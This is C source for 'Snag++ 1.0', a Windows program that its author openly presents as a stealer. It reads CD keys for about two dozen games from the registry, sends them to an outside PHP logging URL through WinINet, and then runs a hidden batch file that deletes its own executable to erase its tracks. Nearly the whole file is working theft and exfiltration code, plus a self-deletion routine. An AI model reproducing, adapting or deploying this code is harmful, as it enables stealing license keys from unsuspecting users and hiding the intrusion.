// Snag++ 1.0 by D-oNe, "For i am GOD", aka_done@hotmail.com
// Biggies out to: akcom, Caesar2k, condor and the rest of my piggies!
// --------------------------------------------------------------------
//Optimization Code
#pragma optimize("gsy",on) 
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/ENTRY:EntryPoint")
#pragma comment(linker,"/MERGE:.rdata=.data") 
#pragma comment(linker,"/MERGE:.text=.data") 
#pragma comment(linker,"/MERGE:.reloc=.data") 
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078")
#pragma comment(linker,"/FILEALIGN:0x200")

//Headers To Use
#define  WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <wininet.h>

//Settings
	const char szPHPAddress[128] = "http://www.crapsite.com/log.php";

//Vars, Why Here? Dont Ask, Bad Delphi Habit...
	char szKey[128];
	char *szLogText;

//Struct Of Our CDKey List
struct items 
{
  char *GameName;
  HKEY RootKey;
  char *SubKey;
  char *ValueName;
};

//CDKey List, With GameNames and Registry Entries
//Here Is Where You Would Add New Games If You Wanted Too
items CDKeyList[] = { 
{"[Battlefield 1942: ", HKEY_LOCAL_MACHINE,"SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942\\ergc", ""},
{"[Battlefield 1942: Secret Weapons Of WWII: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 Secret Weapons of WWII\\ergc", ""},
{"[Battlefield 1942: The Road To Rome: ", HKEY_LOCAL_MACHINE,"SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 1942 The Road to Rome\\ergc", ""},
{"[Black and White: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Black and White\\ergc", ""},
{"[Command and Conquer: Generals: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Generals\\ergc", ""},
{"[Command and Conquer: Generals: Zero Hour: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Command and Conquer Generals Zero Hour\\ergc", ""},
{"[Command and Conquer: Red Alert2: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Red Alert 2", "Serial"},
{"[Command and Conquer: Tiberian Sun: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Westwood\\Tiberian Sun", "Serial"},
{"[Counter-Strike: ", HKEY_CURRENT_USER, "Software\\Valve\\CounterStrike\\Settings", "Key"},
{"[FIFA 2003: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Sports\\FIFA 2003\\ergc", ""},
{"[Freedom Force: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA Distribution\\Freedom Force\\ergc", ""},
{"[Global Operations: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Global Operations\\ergc", ""},
{"[Gunman Chronicles: ", HKEY_CURRENT_USER, "Software\\Valve\\Gunman\\Settings", "Key"},
{"[Half-Life: ", HKEY_CURRENT_USER, "Software\\Valve\\Half-Life\\Settings", "Key"},
{"[Hidden and Dangerous 2: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Illusion Softworks\\Hidden & Dangerous 2", "key"},
{"[IGI2: Covert Strike: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\IGI 2 Retail\\CDKey", "CDkey"},
{"[Industry Giant 2: ", HKEY_CURRENT_USER, "Software\\JoWooD\\InstalledGames\\IG2", "prvkey"},
{"[James Bond 007: Nightfire: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\James Bond 007 Nightfire\\ergc", ""},
{"[Medal of Honor: Allied Assault: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault\\ergc", ""},
{"[Medal of Honor: Allied Assault: Breakthrough ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Breakthrough\\ergc", ""},
{"[Medal of Honor: Allied Assault: Spearhead ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Medal of Honor Allied Assault Spearhead\\ergc", ""},
{"[Need For Speed: Hot Pursuit 2: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Hot Pursuit 2\\ergc", ""},
{"[Need For Speed: Underground: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Need For Speed Underground\\ergc", ""},
{"[Shogun: Total War: Warlord Edition: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Electronic Arts\\EA GAMES\\Shogun Total War - Warlord Edition\\ergc", ""},
{"[Soldiers Of Anarchy: ", HKEY_CURRENT_USER, "Software\\Silver Style Entertainment\\Soldiers Of Anarchy\\Settings", "CDKey"},
{"[Unreal Tournament: ", HKEY_LOCAL_MACHINE, "SOFTWARE\\Unreal Technology\\Installed Apps\\UT2003", "CDKey"},
};
		
//Function To Read A Registry Key
void ReadKey(char *rKeyString, char *rGameName, HKEY rRegKey, char *rPath, char *rKey, unsigned long rSize, unsigned char *rBuffer)
{
	HKEY rk = NULL;
		memset(rKeyString, 0, sizeof(rKeyString));
	if (RegOpenKeyEx(rRegKey, rPath, 0, KEY_READ, &rk) != ERROR_SUCCESS)
	{
		return;
	}
	if (RegQueryValueEx(rk, rKey, NULL, NULL, rBuffer, &rSize) != ERROR_SUCCESS) 
	{
		RegCloseKey(rk);
		return;
	}	
		sprintf(rKeyString, "%s%s]<BR>", rGameName, rBuffer);
		strcat(szLogText, rKeyString);
		RegCloseKey(rk);
}

//Grab Keys
void GrabKeys()
{
	#define arraysize(x) (sizeof(x) / sizeof(x[0]))
	int i;
	DWORD dwSize = 128;
	unsigned char szBuffer[128];
	for (i = 0; i < arraysize(CDKeyList); i++)
	{
		ReadKey(szKey, CDKeyList[i].GameName, CDKeyList[i].RootKey, CDKeyList[i].SubKey, CDKeyList[i].ValueName, dwSize, szBuffer);
	}
}

//Send Keys To PHP Script
void PHPLog()
{
	HINTERNET hSession;
		hSession = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
	if (hSession == NULL)  
	{ 
		return;
	}
		InternetCloseHandle(InternetOpenUrl(hSession, szLogText, NULL, 0, INTERNET_FLAG_RELOAD, 0));
		InternetCloseHandle(hSession);
}

//Melt Server
void Melt()
{
	HANDLE hFile;
	DWORD r;
	PROCESS_INFORMATION pInfo;
	STARTUPINFO sInfo;
	char szFilename[MAX_PATH];
	char szMeltText[512];
		GetModuleFileName(GetModuleHandle(NULL), szFilename, MAX_PATH);
		strcat(szMeltText, "@echo off\r\n");
		strcat(szMeltText, ":start\r\n"); 
		strcat(szMeltText, "del \"");
		strcat(szMeltText, szFilename);
		strcat(szMeltText, "\"\r\n");
		strcat(szMeltText, "if exist \"");
		strcat(szMeltText, szFilename);
		strcat(szMeltText, "\" goto start\r\n");
		strcat(szMeltText, "del C:\\melt.bat");
		hFile = CreateFile("C:\\melt.bat", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
	if (hFile == INVALID_HANDLE_VALUE)
	{	
		return;
	}
		WriteFile(hFile, szMeltText, strlen(szMeltText), &r, NULL);	
		CloseHandle(hFile);
		ZeroMemory( &sInfo, sizeof(sInfo));
		sInfo.cb = sizeof(sInfo);
		ZeroMemory( &pInfo, sizeof(pInfo));
		sInfo.wShowWindow = SW_HIDE;
	if (CreateProcess(NULL, "C:\\melt.bat", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &sInfo, &pInfo) == 0)
	{
		return;
	}
}

//Main Code
void EntryPoint()
{		
	szLogText = new char[2048];
	memset(szLogText, 0, 2048);
		strcat(szPHPAddress, "?action=post&log=");
		strcat(szLogText, szPHPAddress);
		GrabKeys();
		PHPLog();
		Melt();
		ExitProcess(0);
}
